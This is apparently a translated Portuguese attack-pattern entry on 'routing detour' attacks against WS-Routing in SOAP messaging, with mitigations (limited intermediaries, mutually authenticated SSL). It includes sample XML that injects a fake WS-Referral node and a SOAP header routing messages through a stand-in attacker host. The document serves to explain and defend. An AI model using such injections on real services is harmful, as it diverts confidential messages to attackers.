Descrição do produto
O WS-Routing Protocol é um protocolo para a troca de mensagens SOAP de um remetente de mensagem inicial para um destinatário, normalmente por meio de um conjunto de intermediários. O protocolo WS-Routing é implementado como uma extensão SOAP e é incorporado no cabeçalho SOAP. O roteamento WS é frequentemente usado para fornecer uma maneira de direcionar o tráfego XML através de ambientes e transações complexos, permitindo que estações intermediárias no caminho XML designem instruções de roteamento para um documento XML.
Adotando uma abordagem minimalista, o WS-Routing encapsula um caminho de mensagem em uma mensagem SOAP, para que a mensagem contenha informações suficientes para serem enviadas pela Internet usando transportes como TCP e UDP, enquanto oferece suporte:
- O modelo do caminho da mensagem SOAP,
- Padrões de mensagem unidirecional full-duplex,
- Padrões de mensagem full-duplex, solicitação-resposta e
- Correlação de mensagens.
Os desvios de roteamento são um tipo de ataque "Man in the Middle", no qual os intermediários podem ser injetados ou "seqüestrados" para rotear mensagens confidenciais para um local externo. As informações de roteamento (no cabeçalho HTTP ou no cabeçalho WS-Routing) podem ser modificadas na rota e os traços do roteamento podem ser removidos do cabeçalho e da mensagem, de modo que o aplicativo receptor não seja o mais sábio que ocorreu um desvio de roteamento.
Problema principal
O invasor injeta um nó de roteamento falso (usando um serviço de referência WS) na tabela de roteamento do cabeçalho XML da mensagem SOAP identificada na fase Explorar. Portanto, o invasor pode rotear a mensagem XML para o nó controlado pelo invasor (e acessar o conteúdo da mensagem)
Exemplo de injeção WS-Routing baseada em WS-Referral da rota do nó falso
<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref>
Ataque de desvio de roteamento resultante
<S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>
Consequência
Assim, usando o Routing Detour, o invasor pode rotear a mensagem XML para um nó controlado por hackers (e acessar o conteúdo da mensagem).
Correção geral
Design: especifique o número máximo de nós intermediários para a solicitação e exija conexões SSL com autenticação mútua.
Implementação: use SSL para conexões entre todas as partes com autenticação mútua